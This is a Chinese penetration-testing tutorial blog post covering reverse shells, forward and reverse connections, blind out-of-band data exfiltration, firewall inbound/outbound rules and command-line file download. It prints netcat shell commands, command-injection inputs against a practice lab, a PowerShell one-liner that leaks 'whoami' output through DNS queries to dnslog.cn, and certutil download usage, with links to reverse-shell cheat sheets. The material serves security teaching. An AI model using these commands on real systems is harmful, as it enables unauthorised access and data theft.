当前位置: 首页 > news >正文

从零开始学习网络安全渗透测试之基础入门篇——(四)反弹SHELL不回显带外正反向连接防火墙出入站文件上传下载

一、反弹SHELL

反弹SHELL(Reverse Shell)是一种网络攻击技术,它允许攻击者在一个被入侵的计算机上执行命令,即使该计算机位于防火墙或NAT(网络地址转换)之后。通常,当攻击者无法直接连接到目标机器时,他们会使用反弹SHELL来绕过这些网络障碍。
在这里插入图片描述

以下是反弹SHELL的基本概念和工作原理:

基本概念

  1. Shell:在计算机术语中,Shell是一个命令行界面,允许用户执行操作系统的命令。
  2. 反弹(Reverse):与传统连接不同,在反弹连接中,目标机器(通常是受害者)会主动发起连接到攻击者的机器。

工作原理

  1. 攻击者设置监听:攻击者会在自己的机器上设置一个监听器,准备接收来自目标机器的连接。
  2. 诱导执行恶意代码:攻击者通过各种手段(如钓鱼、漏洞利用等)在目标机器上执行一段恶意代码。
  3. 恶意代码发起连接:这段恶意代码会在目标机器上执行,它会尝试连接到攻击者设置好的监听端口。
  4. 建立连接:一旦连接建立,攻击者就可以在目标机器上执行命令,就像直接操作该机器一样。

为什么使用反弹SHELL

  • 绕过防火墙:许多防火墙配置为仅允许出站连接,而不允许入站连接。反弹SHELL通过让目标机器发起出站连接来绕过这一限制。
  • NAT和DMZ穿越:在NAT或DMZ(隔离区)环境中,外部机器通常不能直接连接到内部网络。反弹SHELL允许内部机器主动连接到外部。
  • 匿名性:攻击者不需要暴露自己的IP地址,因为连接是由受害者发起的。

关于反弹SHELL的实际攻击案例,可以从几个不同的角度来理解。反弹SHELL是一种网络攻击技术,攻击者利用这种技术在受害者的计算机上建立一个可以远程控制的Shell环境。这种攻击通常用于远程控制受害者的计算机,以执行各种操作。

反弹SHELL的工作原理

反弹SHELL的基本原理是:攻击者在其自己的机器上设置监听端口,然后诱使受害者的机器执行一个反向连接的Shell命令,连接回攻击者的机器。这样,攻击者就能通过这个反向连接执行命令,控制受害者的计算机。

实现反弹SHELL的方法

攻击者通常会使用诸如Netcat、Python、Bash等工具和脚本来实施反弹SHELL。例如,使用Netcat的命令可能是:nc -e /bin/sh 目标IP 目标端口,这条命令会从受害者机器上启动一个Shell,并将其连接到攻击者的监听端口上。nc工具,Linux自带,windows不自带。
windows:

nc -e cmd -lvvp 5566

linux:

ncat sec123.cc 5566
ncat -e /bin/sh -lvvp 5566

二、正反向连接

正向连接和反向连接是网络通信中两种不同的连接方式,特别是在反弹Shell的场景中,这两种连接方式有着重要的应用。

正向连接(Forward Connection)

正向连接是指客户端主动发起连接到服务器端的模式。在这种模式下,客户端知道服务器端的IP地址和监听端口,因此可以主动向服务器发起连接。
特点:

  • 客户端主动发起连接。
  • 服务器端必须有一个可访问的IP地址和开放的端口。
  • 如果服务器端位于防火墙或NAT后面,且没有正确配置端口转发,客户端可能无法建立连接。
    示例:
  • 使用浏览器访问网站时,浏览器(客户端)会向网站服务器发起正向连接。

反向连接(Reverse Connection)

反向连接是指服务器端主动发起连接到客户端的模式。在反弹Shell的场景中,这通常意味着攻击者的机器作为“客户端”,而被入侵的机器(受害者)作为“服务器端”主动发起连接。
特点:

  • 服务器端(实际上是受害者)主动发起连接到客户端(实际上是攻击者)。
  • 这种方式可以绕过防火墙和NAT的限制,因为大多数防火墙允许出站连接。
  • 攻击者不需要暴露自己的IP地址和端口,增加了攻击的隐蔽性。
    示例:
  • 攻击者在自己的机器上设置一个监听器,然后诱导受害者的机器执行一个脚本或程序,该脚本或程序会使受害者的机器主动连接到攻击者的监听端口。
    在这里插入图片描述

反弹Shell中的正向连接与反向连接

在反弹Shell的场景中,正向连接和反向连接的区别如下:

  • 正向反弹连接:攻击者尝试直接连接到受害者的机器上,但由于受害者机器可能位于防火墙或NAT后面,这种连接可能会失败。
  • 反向反弹连接:攻击者在自己的机器上设置监听器,然后诱导受害者机器执行一个反向Shell脚本,使受害者机器主动连接到攻击者的监听端口。这种方式更可能成功,因为它不依赖于受害者机器的网络配置。
    在实际的网络安全实践中,反向连接是反弹Shell攻击中更为常见和有效的方式。

三、不回显带外查询

皮卡丘漏洞平台演示RCE漏洞:

  • exec “ping”:在这个关卡中,后台会对用户输入的IP地址进行ping测试。攻击者可以利用这个功能执行其他系统命令。例如,输入127.0.0.1 && whoami可以执行whoami命令,显示当前用户信息。同样,通过输入127.0.0.1 && dir可以查看当前路径下的文件列表,而127.0.0.1 && type C:\Windows\win.ini可以查看特定文件的内容。
  • exec “eval”:这个关卡中,后台将用户的输入作为代码的一部分执行,从而造成远程代码执行漏洞。例如,输入phpinfo();会执行phpinfo函数,显示PHP的配置信息。更危险的是,攻击者可以通过这种方式上传木马文件,并通过Web界面连接到该木马,从而控制系统。

不带回显的带外查询

http://dnslog.cn/
不带回显的带外查询(Out-of-Band, OoB)是一种渗透测试技术,主要用于在无法直接从目标系统获取信息的情况下获取数据。这种技术在盲注攻击中特别有用,尤其是在以下情况下:

  1. 无回显环境:攻击者无法直接从目标系统接收到执行命令的输出。
  2. 受限制的网络:目标系统位于防火墙或NAT后面,或者网络策略限制了直接的数据传输。

带外查询的工作原理

在不带回显的环境中,攻击者通常会利用以下方法进行带外查询:

  1. DNS查询:攻击者可以诱使目标系统向他们控制的DNS服务器发送DNS查询。查询结果(例如,查询的域名)可以包含攻击者想要获取的信息。
  2. HTTP请求:攻击者可以诱导目标系统向他们控制的Web服务器发起HTTP请求。请求的URL或HTTP头可以包含攻击者想要获取的数据。
  3. 数据库功能:在某些情况下,攻击者可以利用数据库的特定功能(如MySQL的LOAD_FILE()SELECT ... INTO OUTFILE)来写入或读取文件,这些文件可以被外部服务器访问。

带外查询的步骤

以下是不带回显带外查询的一般步骤:

  1. 识别漏洞:确定目标系统是否存在可以用于带外数据传输的漏洞。
  2. 控制数据传输:构造特定的输入,使得目标系统在处理这些输入时会产生带外通信。
  3. 监听带外通道:在攻击者的控制下设置服务器,监听来自目标系统的带外通信。
  4. 提取信息:从带外通道接收到的数据中提取所需的信息。

实际应用案例

  • SQL盲注:在SQL盲注攻击中,攻击者无法直接从数据库获取数据。通过构造特定的SQL查询,攻击者可以诱使数据库向攻击者控制的DNS服务器发送查询,从而获取数据。
  • XXE攻击:在XML外部实体(XXE)攻击中,攻击者可以诱使应用程序向外部服务器发送包含敏感信息的HTTP请求。

WINDOWS服务器的案例

powershell $x=whoami;$x=$x.Replace('\','xxxx');$y='.ybhyv7.dnslog.cn';$z=$x+$y;ping $z;

  • 名称介绍:https://www.cnblogs.com/sunny11/p/13583083.html
  • 文件下载:https://forum.ywhack.com/bountytips.php?download
  • 反弹Shell:https://forum.ywhack.com/reverse-shell/
  • 命令学习:https://blog.csdn.net/weixin_43303273/article/details/83029138

四、防火墙出入站

防火墙是网络安全的重要组成部分,它通过监控和控制进出网络的数据流来保护网络不受未经授权的访问和攻击。在防火墙的设置中,通常会区分“出站”(Outbound)和“入站”(Inbound)规则。

出站规则(Outbound Rules)

出站规则是指那些控制从内部网络到外部网络(例如互联网)的数据流量的规则。这些规则主要用于:

  • 限制对外部资源的访问:例如,阻止访问某些网站或服务。
  • 监控和记录出站流量:帮助检测潜在的恶意活动,如数据泄露或病毒传播。
  • 控制特定服务的出站流量:例如,限制文件共享服务的出站连接。
    出站规则的特点:
  • 通常更宽松,因为内部设备发起的连接通常被认为是可信的。
  • 可以防止内部设备成为攻击他人的跳板(例如,僵尸网络)。
  • 可能需要允许某些类型的出站连接,如电子邮件服务。

入站规则(Inbound Rules)

入站规则是指那些控制从外部网络到内部网络的数据流量的规则。这些规则主要用于:

  • 保护内部资源:例如,只允许特定的IP地址或服务访问内部服务器。
  • 阻止已知攻击:通过阻塞与已知恶意活动相关的流量。
  • 限制端口和服务:例如,关闭不必要的端口和服务以减少潜在的攻击面。
    入站规则的特点:
  • 通常更严格,因为外部连接可能包含恶意流量。
  • 是网络防御的第一道防线,需要仔细配置以仅允许必要的流量通过。
  • 需要定期更新以应对新的安全威胁。

五、文件上传下载

解决无图形化的文件上传下载
解决数据传输
在线工具
在这里插入图片描述
在Windows下,您可以通过几种不同的命令行工具来下载文件。以下是一些常用的方法:

使用curl

curl是一个在多种操作系统上都可以使用的工具,用于数据传输。如果您的Windows系统中已经安装了curl,您可以使用以下命令下载文件:

curl -O [URL]

这里的-O参数告诉curl将下载的文件保存为命令行中指定的文件名。
例如:

curl -O https://example.com/file.zip

使用wget

wget是另一个常用的命令行下载工具。在Windows上,您可能需要先下载并安装wget。安装完成后,您可以使用以下命令下载文件:

wget [URL]

例如:

wget https://example.com/file.zip

使用PowerShell

如果您使用的是PowerShell,可以使用以下命令下载文件:

Invoke-WebRequest -Uri [URL] -OutFile [文件路径]

例如:

Invoke-WebRequest -Uri https://example.com/file.zip -OutFile C:\Users\YourUsername\Downloads\file.zip

这将会把文件保存到指定的路径。

使用CertUtil

CertUtil是Windows内置的一个工具,通常用于管理证书,但它也可以用来下载文件:

certutil -urlcache -split -f [URL] [保存的文件名]

例如:

certutil -urlcache -split -f https://example.com/file.zip file.zip

请确保将上述命令中的[URL][文件路径]替换为实际的URL和你希望保存文件的路径。

相关文章:

从零开始学习网络安全渗透测试之基础入门篇——(四)反弹SHELL不回显带外正反向连接防火墙出入站文件上传下载

一、反弹SHELL 反弹SHELL(Reverse Shell)是一种网络攻击技术,它允许攻击者在一个被入侵的计算机上执行命令,即使该计算机位于防火墙或NAT(网络地址转换)之后。通常,当攻击者无法直接连接到目标…...

Nginx(1)

文章目录 概述基本的HTTP服务器功能其他 HTTP 服务器功能邮件代理服务器功能TCP/UDP代理服务器功能架构和可扩展性 Nginx特性web服务器负载均衡邮件代理服务器 小结 概述 Nginx是http和反向代理服务器,邮件代理服务器,以及lgor Sysoev最初编写的通用TCP…...

C# 构建观测者模式(或者为订阅者模型)

前言: 观测者模型的基本理念,就是,我有一个公共的事件,定义好他的事件的触发、数据接口。然后,通过增加订阅者(实例)来订阅这个事件的,或者说观察这个事件。如果事件发生&#xff0…...

MyBatis入门如何使用操作数据库及常见错误(yml配置)

一,什么是MyBatis 是一款优秀的持久层框架,用于简化jdbc的开发 持久层:指的就是持久化操作的层,通常也就是数据访问层(dao),也就是用来操作数据库。 也就是MyBatis是让你更加简单完成程序与数…...

大数据信用查询什么样的平台比较靠谱?

随着互联网的发展和普及,大数据技术逐渐应用到各行各业中,其中之一就是信用查询领域,大数据信用查询平台能够为用户提供全面、准确的大数据信用评估,然而,由于市场上出现了许多不同的大数据信用查询平台,我…...

后端程序员常犯的错误-本地缓存相关bug和技术思考

1 springboot集成本地缓存基本常识: SpringBoot集成本地缓存性能之王Caffeine示例详解 SpringBoot 缓存之 Cacheable介绍 2 线上问题 2.1 发现过程 接口内的rpc调用报错,error级别的日志被监控平台报警。 2.2 故障排查 2.2.1 代码 Cacheable(cach…...

【收集表单数据】

07 【收集表单数据】 在 React 里&#xff0c;HTML 表单元素的工作方式和其他的 DOM 元素有些不同&#xff0c;这是因为表单元素通常会保持一些内部的 state。例如这个纯 HTML 表单只接受一个名称&#xff1a; <form><label>名字:<input type"text"…...

【前端面试】九、框架

目录 1 Vue2 实现方式 2 Vue3 实现方式 3 React 实现方式 4 Angular 实现方式 1 Vue2 实现方式 Vue2 是目前仍被广泛使用的前端框架之一&#xff0c;其特点包括响应式数据绑定、组件化开发等。 响应式系统&#xff1a;Vue2 使用 Object.defineProperty 来实现数据的响应式。…...

水泥电阻在电源电路中的作用

水泥电阻是将电阻线绕在无碱性耐热瓷件上&#xff0c;外面加上耐热、耐湿及耐腐蚀之材料保护固定并把绕线电阻体放入方形瓷器框内&#xff0c;用特殊不燃性耐热水泥充填密封而成。水泥电阻的外侧主要是陶瓷材质&#xff08;一般可分为高铝瓷和长石瓷&#xff09;。 水泥电阻器…...

报销管理软件怎么选?主流的10款对比

国内外排名前十的报销软件大对比&#xff1a;合思、Zoho Expense、金蝶财务报销系统、每刻报销、慧算账、Expensify、齐业成、汇联易、分贝通、QuickBooks Online。 在小型企业中&#xff0c;报销管理可能还可以由财务人员手工完成。然而&#xff0c;对于中到大型企业和快速发展…...

人工智能对就业产生怎样的影响?

在这个飞速发展的时代&#xff0c;人工智能&#xff08;AI&#xff09;如同一股不可阻挡的潮流&#xff0c;深刻地影响着我们的工作方式和生活模式。它既是技术革命的产物&#xff0c;也是推动社会进步的重要力量。然而&#xff0c;随着AI技术的普及和应用&#xff0c;关于其对…...

Vue Router 路由守卫详解

Vue Router 的路由守卫功能使我们能够在路由导航的不同阶段执行代码,提供了极大的灵活性和控制力。路由守卫可以帮助我们在用户导航到特定路由之前、之后或取消导航时执行逻辑,例如权限验证、数据获取或取消操作等。 路由守卫类型 Vue Router 提供了以下几种类型的路由守卫…...

Android 10.0 Launcher 启动流程

在前面SystemUI启动流程中说到&#xff0c;在SystemServer中会去启动各种系统服务&#xff0c;这里的launcher也是启动的其中一个服务ActivityManagerService去启动的。在android10之前&#xff0c;系统四大组件的启动都是在ActivityManagerService中&#xff0c;在android10中…...

OPenCV高级编程——OpenCV视频读写及录制技术详解

目录 引言 一、视频读取技术 VideoCapture 类 构造函数 常用方法 二、视频写入技术 VideoWriter 类 构造函数 常用方法 三、视频录制技术 1. 包含OpenCV头文件 2. 初始化VideoCapture对象 3. 设置视频编码器 4. 读取和写入视频帧 5. 释放资源 6. 编码格式选择 …...

jenkins获取sonarqube质量门禁结果

前景 在使用 Jenkins 集成 SonarQube 时&#xff0c;获取质量门禁&#xff08;Quality Gate&#xff09;结果非常重要。SonarQube 的质量门禁是一种质量控制机制&#xff0c;用于评估代码质量是否符合预设的标准。以下是获取质量门禁结果的意义和作用&#xff1a; 评估代码质量…...

【AI-12】浅显易懂地说一下损失函数

什么是损失函数&#xff1f; 咱们可以把损失函数想象成一个衡量你做的事情“好不好”的尺子。 比如说你在预测明天的天气&#xff0c;你给出的预测结果和实际的天气情况之间会有差别。损失函数就是用来计算这个差别有多大的。 如果你的预测结果和实际情况非常接近&#xff0c;…...

Python和java中super的使用用法(有点小语法上的差距,老忘就在这里置顶了)

文章目录 1 在 Java 中&#xff1a;2 在 Python 中&#xff1a; 在 Java 和 Python 中&#xff0c;子类调用父类方法的语法略有不同&#xff1a; 1 在 Java 中&#xff1a; 使用 super 关键字&#xff1a;在子类中&#xff0c;可以使用 super 关键字来调用父类的方法。super …...

在 QML 中使用 C++ 类和对象

1.实现 C 类&#xff0c;从 QObject 或 QObject 的派生类继承 类中第一行添加 Q_OBJECT 宏 2.修饰成员函数或属性 Q_INVOKABLE 宏用来定义可通过元对象系统访问的方法 Q_PROPERTY 宏用来定义可通过元对象系统访问的属性 信号或者槽&#xff0c;都可以直接在 QML 中访问 3. 在…...

什么是接口?

在前后端开发的语境中&#xff0c;接口&#xff08;Interface&#xff09;是一个非常重要的概念&#xff0c;它充当了前端&#xff08;通常是浏览器端或移动端应用&#xff09;与后端&#xff08;通常是服务器端的应用程序&#xff09;之间进行数据交换的桥梁。接口定义了双方交…...

传统自然语言处理(NLP)与大规模语言模型(LLM)详解

自然语言处理&#xff08;NLP&#xff09;和大规模语言模型&#xff08;LLM&#xff09;是理解和生成人类语言的两种主要方法。本文将介绍传统NLP和LLM的介绍、运行步骤以及它们之间的比较&#xff0c;帮助新手了解这两个领域的基础知识。 传统自然语言处理&#xff08;NLP&…...

实现Obsidian PC端和手机端(安卓)同步

步骤 1&#xff1a;在PC端设置Obsidian 安装Obsidian和Git&#xff1a;确保你的PC上已经安装了Obsidian和Git。你可以从Obsidian官网和Git官网下载并安装。 克隆GitHub代码库&#xff1a;在PC上打开命令行&#xff08;例如Windows的命令提示符或Mac/Linux的终端&#xff09;&a…...

基于大模型的 Agent 进行任务规划的10种方式

基于大模型的 Agent 基本组成应该包含规划&#xff08;planning)&#xff0c;工具&#xff08;Tools)&#xff0c;执行(Action)&#xff0c;和记忆(Memory)四个方面&#xff0c;本节将从 Agent 的概念、ReAct 框架、示例、以及一些论文思路来具体聊下任务规划的话题&#xff0c…...

计算机网络01

文章目录 浏览器输入URL后发生了什么&#xff1f;Linux 系统是如何收发网络包的&#xff1f;Linux 网络协议栈Linux 接收网络包的流程Linux 发送网络包的流程 浏览器输入URL后发生了什么&#xff1f; URL解析 当在浏览器中输入URL后&#xff0c;浏览器首先对拿到的URL进行识别…...

基于SpringBoot微服务架构下前后端分离的MVVM模型浅析

基于SpringBoot微服务架构下前后端分离的MVVM模型浅析 “A Brief Analysis of MVVM Model in Front-end and Back-end Separation based on Spring Boot Microservices Architecture” 完整下载链接:基于SpringBoot微服务架构下前后端分离的MVVM模型浅析 文章目录 基于Spring…...

44444444444

4444444444444444...

数据结构与算法-二分搜索树节点的查找

&#x1f49d;&#x1f49d;&#x1f49d;首先&#xff0c;欢迎各位来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里不仅可以有所收获&#xff0c;同时也能感受到一份轻松欢乐的氛围&#xff0c;祝你生活愉快&#xff01; 文章目录 引言一、二分搜…...

C++|设计模式(七)|⭐️观察者模式与发布/订阅模式,你分得清楚吗

本文内容来源于B站&#xff1a; 【「观察者模式」与「发布/订阅模式」&#xff0c;你分得清楚吗&#xff1f;】 文章目录 观察者模式&#xff08;Observer Pattern&#xff09;的代码优化观察者模式 与 发布订阅模式 他们是一样的吗&#xff1f;发布订阅模式总结 我们想象这样一…...

计算机毕业设计选题推荐-学院教学工作量统计系统-Java/Python项目实战

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…...

人机交互不仅仅是科技问题

人机交互不仅仅局限于物理和数理科学的应用&#xff0c;还涉及到更广泛的管理、文理、哲学、艺术、伦理以及法律等领域。下面这些领域在人机协同和智能系统应用中扮演着重要角色&#xff1a; 智能系统在企业管理、资源分配、决策支持等方面的应用&#xff0c;可以帮助管理者优化…...

Lua Debug.GetInfo

在 Lua 中&#xff0c;debug.getinfo 函数的第一个参数指定了要获取信息的函数的级别。这个级别是一个整数&#xff0c;表示调用栈的深度。以下是一些常见的级别和它们的含义&#xff1a; - 1&#xff1a;当前函数&#xff08;即调用 debug.getinfo 的函数&#xff09;。 - 2&a…...

借贷网站建设/互联网推广是什么意思

hdfs常用命令&#xff0c;可查看博文 hdfs常用命令 //从本地加载数据到表,linux上的文件不会丢失&#xff0c;相当于是复制 ,这是 追加的模式 load data local inpath /data/log/1.txt into table employee; //从本地加载数据到表,linux上的文件不会丢失&#xff0c;相当于是复…...

企业网站安全建设方案/东莞百度seo关键词优化

http://blog.csdn.net/slnqnd/article/details/1772910/ Struts2.0 Hibernate 3.2 Spring 2.0 一&#xff0e; Struts 1.定义 它是使用 servlet 和 JavaServer Pages 技术的一种 Model-View-Controller 实现&#xff0c; 可帮助您控制Web 项目中的变化并提高专业化水平。…...

长治专业做网站/百度电脑版下载官方

都是自己写的&#xff0c;自己测试过了&#xff0c;难免和学习知道上有些不同&#xff0c;敬请谅解&#xff0c;但是程序绝对原创&#xff0c;第三章比较简单。3.1//if the rate of GDPs growth in our country is 9%,//please write a program and output how much the GDP gr…...

专业做网站费用/北京网站优化步骤

docker pull centos:centos7 想要拉取其他版本的镜像&#xff0c;参考网址&#xff1a; https://hub.docker.com/_/centos?tabtags&page1...

app定制哪里找/优化网站

上一篇从整个工程上简单分析了glog&#xff0c;请看C的开源跨平台日志库glog学习研究(一)&#xff0c;这一篇对glog的实现代码入手&#xff0c;比如在其源码中以宏的使用最为广泛&#xff0c;接下来就先对各种宏的使用做一简单分析。 1. 日志输出宏 这里我们以一条最简单的日至…...

网站建设 开发/百度竞价登录

今天&#xff0c;有个哥们在网上买了块二手机械硬盘。回家装好系统发现启动贼慢&#xff0c;开机十几分钟。遂到交流群发问。经过一番诊断最终确定为硬盘坏道导致。哥们失望至极&#xff0c;准备打开京东购买一块全新固态。本来&#xff0c;作为一个沉默宝宝天天在群里采集话题…...